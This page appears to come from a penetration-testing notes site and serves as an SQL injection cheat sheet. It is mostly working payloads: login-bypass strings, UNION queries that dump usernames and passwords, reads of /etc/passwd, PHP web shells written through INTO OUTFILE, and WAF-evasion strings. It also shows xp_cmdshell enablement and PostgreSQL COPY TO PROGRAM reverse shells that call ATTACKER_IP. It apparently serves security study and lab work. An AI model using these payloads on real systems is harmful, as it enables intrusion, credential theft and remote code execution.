> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/web/sqli.md).

# Testing for SQL

***

## How SQL Injection Works

When user input is inserted directly into SQL queries without sanitization, attackers can break out of the intended query and execute arbitrary SQL.

### Vulnerable PHP Code Example

```php
$username = $_POST['username'];
$query = "SELECT * FROM logins WHERE username='$username'";
```

If user inputs: `admin'-- -`

Query becomes:

```sql
SELECT * FROM logins WHERE username='admin'-- -'
```

The `-- -` comments out the rest, bypassing any password check.

***

## SQLi Discovery

### Escape Context Characters

Try these to break out of the current query context:

```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```

### Test Payloads

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `` ` `` | `%60`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |
| `')`    | `%27%29`    |
| `"))`   | `%22%29%29` |

If you get a SQL error or different behavior, injection may be possible.

***

## SQL Comments (End Query Early)

| DBMS       | Comment Syntax                              |
| ---------- | ------------------------------------------- |
| MySQL      | `#`, `-- -` (space required), `/*comment*/` |
| PostgreSQL | `--`, `/*comment*/`                         |
| MSSQL      | `--`, `/*comment*/`                         |
| Oracle     | `--`                                        |
| SQLite     | `--`, `/*comment*/`                         |

**Note:** `--` requires a space after. Use `-- -` or URL encode as `--+`

***

## Types of SQL Injection

| Type              | Description                                        |
| ----------------- | -------------------------------------------------- |
| **Union-based**   | Results visible on page, use UNION to extract data |
| **Error-based**   | Database errors reveal query output                |
| **Boolean Blind** | True/false responses based on conditions           |
| **Time Blind**    | Use SLEEP() to infer data based on response time   |
| **Out-of-band**   | Exfiltrate data via DNS or HTTP requests           |

***

## Authentication Bypass

### Common Payloads

```sql
admin'-- -
admin'#
' OR '1'='1'-- -
' OR '1'='1'#
' OR 1=1-- -
admin' OR '1'='1
') OR ('1'='1
admin')-- -
```

### How `OR` Injection Works

Original query:

```sql
SELECT * FROM logins WHERE username='$user' AND password='$pass';
```

With input `admin' OR '1'='1'-- -`:

```sql
SELECT * FROM logins WHERE username='admin' OR '1'='1'-- -' AND password='anything';
```

Since `'1'='1'` is always true, authentication is bypassed.

### When Auth Bypass Payloads Get Blocked

If classic login bypasses get blocked but a single quote still produces a database error, continue testing the same parameter for UNION injection instead of stopping at auth bypass.

```http
username=admin'&password=admin
# SQL syntax error without triggering the block page
```

Use the username field as the injection point and keep the password boring:

```sql
' ORDER BY 2-- -
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -
' UNION SELECT 1,2,3,4,5-- -
```

Once a visible column is identified, enumerate normally:

```sql
' UNION SELECT 1,@@version,3,4,5-- -
' UNION SELECT 1,user(),3,4,5-- -
' UNION SELECT 1,database(),3,4,5-- -
' UNION SELECT 1,schema_name,3,4,5 FROM information_schema.schemata-- -
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema='database_name'-- -
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM users-- -
```

If the dumped values look like base64 (`A-Z`, `a-z`, `0-9`, `+`, `/`, often ending in `=`), decode and try them against other exposed services such as SSH or Cockpit.

***

## UNION Injection

UNION combines results from multiple SELECT statements. Both queries must return the same number of columns.

### Step 1: Detect Number of Columns

#### Method A: ORDER BY

```sql
' ORDER BY 1-- -     # works
' ORDER BY 2-- -     # works
' ORDER BY 3-- -     # works
' ORDER BY 4-- -     # ERROR - table has 3 columns
```

#### Method B: UNION SELECT

```sql
' UNION SELECT NULL-- -           # error
' UNION SELECT NULL,NULL-- -      # error
' UNION SELECT NULL,NULL,NULL-- - # success - 3 columns
```

### Step 2: Find Visible Columns

```sql
' UNION SELECT 1,2,3-- -
```

If page displays `2` and `3`, those columns are visible for data extraction.

### Step 3: Extract Data

```sql
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,database(),3-- -
```

***

## Database Enumeration

### MySQL Fingerprinting

| Payload            | Expected Output              |
| ------------------ | ---------------------------- |
| `SELECT @@version` | MySQL/MariaDB version string |
| `SELECT POW(1,1)`  | `1` (numeric test)           |
| `SELECT SLEEP(5)`  | 5 second delay               |

### Enumerate Databases

```sql
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -
```

### Current Database

```sql
' UNION SELECT 1,database(),3-- -
```

### Enumerate Tables

```sql
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='database_name'-- -
```

### Enumerate Columns

```sql
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
```

### Dump Data

```sql
' UNION SELECT 1,username,password FROM users-- -

-- Concat multiple columns
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users-- -
' UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users-- -
```

***

## MySQL Useful Functions & Variables

```sql
-- Functions
@@version                    -- MySQL version
user()                       -- Current user
database()                   -- Current database
schema()                     -- Current schema
system_user()                -- System user
session_user()               -- Session user
current_user()               -- Current user
UUID()                       -- UUID

-- Variables
@@hostname                   -- Server hostname
@@datadir                    -- Data directory path
@@basedir                    -- MySQL install path
@@tmpdir                     -- Temp directory
@@log                        -- Log path
@@log_error                  -- Error log path
@@version_comment            -- Version comment
@@version_compile_os         -- Compile OS
@@version_compile_machine    -- Compile machine
@@GLOBAL.have_symlink        -- Symlink support
@@GLOBAL.have_ssl            -- SSL support
```

***

## File Read (MySQL)

### Check FILE Privilege

```sql
' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user='root'-- -
' UNION SELECT 1,grantee,privilege_type FROM information_schema.user_privileges-- -
```

### Read Files with LOAD\_FILE()

```sql
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- -
```

***

## File Write (MySQL)

### Check secure\_file\_priv

```sql
' UNION SELECT 1,variable_name,variable_value FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -

-- Or from a MySQL shell:
SHOW VARIABLES LIKE "secure_file_priv";
-- Empty value = write allowed anywhere
```

* Empty = can write anywhere
* `/path/` = can only write to that directory
* NULL = cannot write files

### Write Files with INTO OUTFILE

```sql
' UNION SELECT 1,'test',3 INTO OUTFILE '/var/www/html/test.txt'-- -
```

### Write Web Shell

```sql
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -

-- Windows (know the webroot!)
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';

-- Linux
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
```

Then access: `http://target/shell.php?0=id`

### Stacked SQLi to Web Shell

Stacked queries are blind. Thus you have no ability to really get the database credentils. Try to write a webshell to the server.

If a blind SQLi confirms stacked queries with `SLEEP()` and the database user can write files, try `INTO OUTFILE` even when data extraction is awkward. Example pattern from a POST body parameter:

```sql
view=request&request=log&task=query&limit=100;SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/s.php';#&minTime=1466674406.084434
```

URL-encoded:

```http
view=request&request=log&task=query&limit=100;SELECT%20%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%27c%27%5D%29%3B%3F%3E%22%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Fhtml%2Fs.php%27%3B#&minTime=1466674406.084434
```

Then trigger:

```
http://TARGET:PORT/s.php?c=id
```

***

## Web Root Paths

| Server         | Common Paths                                |
| -------------- | ------------------------------------------- |
| Apache (Linux) | `/var/www/html/`, `/var/www/`, `/srv/http/` |
| Nginx (Linux)  | `/var/www/html/`, `/usr/share/nginx/html/`  |
| IIS (Windows)  | `C:\inetpub\wwwroot\`                       |
| XAMPP          | `/xampp/htdocs/`, `C:\xampp\htdocs\`        |

***

## Blind SQL Injection

### Boolean-Based

```sql
-- If page loads normally when true, different when false
' AND 1=1-- -    # true
' AND 1=2-- -    # false

-- Extract data character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
' AND ASCII(SUBSTRING(database(),1,1))>97-- -
```

### Time-Based

```sql
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -
```

***

## Second-Order SQL Injection

Payload stored in database, executed later in different query.

Example: Register with username `admin'-- -`, later displayed/used in vulnerable query.

**Pattern:** First query uses prepared statements (safe); a second query uses the *result* of the first in plain concatenation. Example: first query fetches `username, country` by cookie (parameterized); second query does `SELECT ... WHERE country = '" . $row['country'] . "'` with no prepared statement — so stored payload in `country` is executed in the second query.

Vulnerable PHP example (from HTB Validation):

```php
<?php
  include('config.php');
  $user = $_COOKIE['user'];
  $sql = "SELECT username, country FROM registration WHERE userhash = ?";
  $stmt = $conn->prepare($sql);
  $stmt->bind_param("s", $user);
  $stmt->execute();

  $result = $stmt->get_result();
  $row = $result->fetch_assoc();
  echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>';
  echo '<h3 class="text-white">Other Players In ' . $row['country'] . '</h3>';
  $sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'";  // no prepared statement — stored payload in country runs here
  $result = $conn->query($sql);
  while ($row = $result->fetch_assoc()) {
    echo "<li class='text-white'>" . $row['username'] . "</li>";
  }
?>
```

Attack: register with `country=Brazil' UNION ALL SELECT ... -- -` (or time-based payload); when account page loads, second query executes the stored payload.

***

## WAF Bypass Techniques

### Case Manipulation

```sql
UniOn SeLeCt
uNiOn SeLeCt
```

### Comment Injection

```sql
UN/**/ION/**/SEL/**/ECT
/*!UNION*//*!SELECT*/
```

### URL Encoding

```
UNION  →  %55%4e%49%4f%4e
SELECT →  %53%45%4c%45%43%54
```

### Double URL Encoding

```
' → %27 → %2527
```

### Whitespace Alternatives

```sql
/**/     -- comment as space
%09      -- tab
%0a      -- newline
%0d      -- carriage return
```

### Operator Alternatives

```sql
AND   →  &&  →  %26%26
OR    →  ||  →  %7C%7C
=     →  LIKE, REGEXP, RLIKE, not < and not >
> X   →  not between 0 and X
WHERE →  HAVING
```

### UNION SELECT Bypass Strings

```
union select
!UNiOn*/ /*!SeLEct*/
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*--*/union/*--*/select/*--*/
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0D%0ASeleCt%0D%0A
```

### Hex Spacing for Gaps

```
0x1a  -- no space
0x2a  -- *
0x3a  -- :
0x4a  -- J
0x5a  -- Z
0x10a -- SPACE
```

***

## MSSQL Specific

### Version

```sql
SELECT @@version
```

### Current User

```sql
SELECT user_name()
SELECT system_user
```

### Databases

```sql
SELECT name FROM master..sysdatabases
```

### Tables

```sql
SELECT name FROM sysobjects WHERE xtype='U'
```

### Enable xp\_cmdshell (RCE)

```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
xp_cmdshell 'whoami'
```

### Execute on Linked Server

```sql
-- Check linked servers
SELECT srvname, isremote FROM sysservers

-- Execute on linked server
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LINKED.SERVER]

-- Enable xp_cmdshell on linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED.SERVER];

-- Execute commands on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKED.SERVER];
```

### Check Impersonation Rights

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

### Impersonate User

```sql
EXECUTE AS LOGIN = 'john'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

## PostgreSQL Specific

### Version

```sql
SELECT version()
```

### Current User

```sql
SELECT current_user
```

### Databases

```sql
SELECT datname FROM pg_database
```

### Tables

```sql
SELECT tablename FROM pg_tables WHERE schemaname='public'
```

### File Read

```sql
-- Method 1: pg_read_file (superuser only)
SELECT pg_read_file('/etc/passwd')

-- Method 2: COPY FROM (requires table creation)
CREATE TABLE read_files(output text);
COPY read_files FROM '/etc/passwd';
SELECT * FROM read_files;

-- Method 3: Large Object
SELECT lo_import('/etc/passwd');
SELECT * FROM pg_largeobject;
```

### Command Execution

```sql
-- Method 1: COPY TO PROGRAM
COPY (SELECT '') TO PROGRAM 'id';

-- Method 2: Reverse shell
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"';

-- Method 3: COPY FROM PROGRAM (alternative)
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f';
```

***

## Oracle Specific

### Version

```sql
SELECT banner FROM v$version
```

### Current User

```sql
SELECT user FROM dual
```

### Tables

```sql
SELECT table_name FROM all_tables
```

### Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```

***

## Remote MySQL Connection

```bash
mysql -h $ip -u root -p
mysql -h $ip -u root -p'password'
mysql -h $ip -P 3306 -u root -p
```

### After Connection

```sql
SHOW DATABASES;
USE database_name;
SHOW TABLES;
DESCRIBE table_name;
SELECT * FROM users;
```

### Change WordPress Password

```sql
SELECT ID, user_login, user_pass FROM wp_users WHERE user_login='admin';
UPDATE wp_users SET user_pass='c424ada17bf6e27794273b7db21cf950' WHERE user_login='admin';
-- Password is now 'rowbot' (MD5)
```

***

## Output Format Fix

When SQL output is messy in terminal:

```sql
SELECT * FROM users;      -- table format
SELECT * FROM users\G     -- vertical format (cleaner)
```

***

## UNION Injection Full Walkthrough

Step-by-step example against a search form vulnerable to SQL injection.

### 1. Identify Injection Point

Input a single quote `'` into the search field. If you get a SQL error, injection is likely:

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
```

### 2. Fuzz for SQLi with ffuf

Save the POST request from Burp with the injection point and fuzz with a SQLi wordlist:

```bash
ffuf -request search.req -request-proto http -w /path/to/sqli-basic.txt -fs 878
```

### 3. Determine Column Count

Increment the UNION SELECT column count until the error disappears:

```
searchitem=1'+UNION+SELECT+1--+-
# Error: The used SELECT statements have a different number of columns

searchitem=1'+UNION+SELECT+1,2,3,4--+-
# No error — 4 columns confirmed
```

### 4. Identify Visible Columns

```
searchitem=1'+UNION+SELECT+1,2,3,4--+-
# Columns 2, 3, and 4 are displayed on the page
```

### 5. Extract Database Name

```
searchitem=1'+UNION+SELECT+1,2,3,database()--+-
# Output: status
```

### 6. Enumerate Tables

```
searchitem=1'+UNION+SELECT+1,2,3,table_name+FROM+information_schema.tables+WHERE+table_schema='status'--+-
# Output: company, users
```

### 7. Enumerate Columns

```
searchitem=1'+UNION+SELECT+1,2,3,column_name+FROM+information_schema.columns+WHERE+table_name='users'--+-
# Output: current_connections, total_connection, user, id, password, username
```

### 8. Dump Credentials

```
searchitem=1'+UNION+SELECT+1,username,password,4+FROM+status.users--+-
```

***

## SQLMap

**See dedicated page:** [SQLMap Guide](/tool-guides/sqlmap.md)

Quick commands:

```bash
# Basic scan
sqlmap -u "http://target.com/page.php?id=1" --batch

# From Burp request
sqlmap -r request.txt --batch

# Enumerate & dump
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D dbname --tables
sqlmap -u "URL" -D dbname -T users --dump

# OS shell
sqlmap -u "URL" --os-shell --technique=E
```

**After SQLi (file-write, no interactive shell):** If you get DB creds (e.g. from `config.php` via LFI or file-read) and a webshell on the same host, run **MySQL one-shot** from the shell: `mysql -u USER -p'PASS' -e "show tables;" dbname`. No need for a stabilized reverse shell. Prefer the **wright.php** webshell (`/usr/share/webshells/php/wright.php`) over a minimal `?cmd=` shell—see [Shells / web-shells](https://github.com/jtaubs1/OSCP-Prep/blob/main/web/Shells/web-shells/README.md) and sqlmap `--file-write`.

***

## Resources

* [PayloadsAllTheThings SQLi](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [HackTricks SQLi](https://book.hacktricks.xyz/pentesting-web/sql-injection)
* [PortSwigger SQLi Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
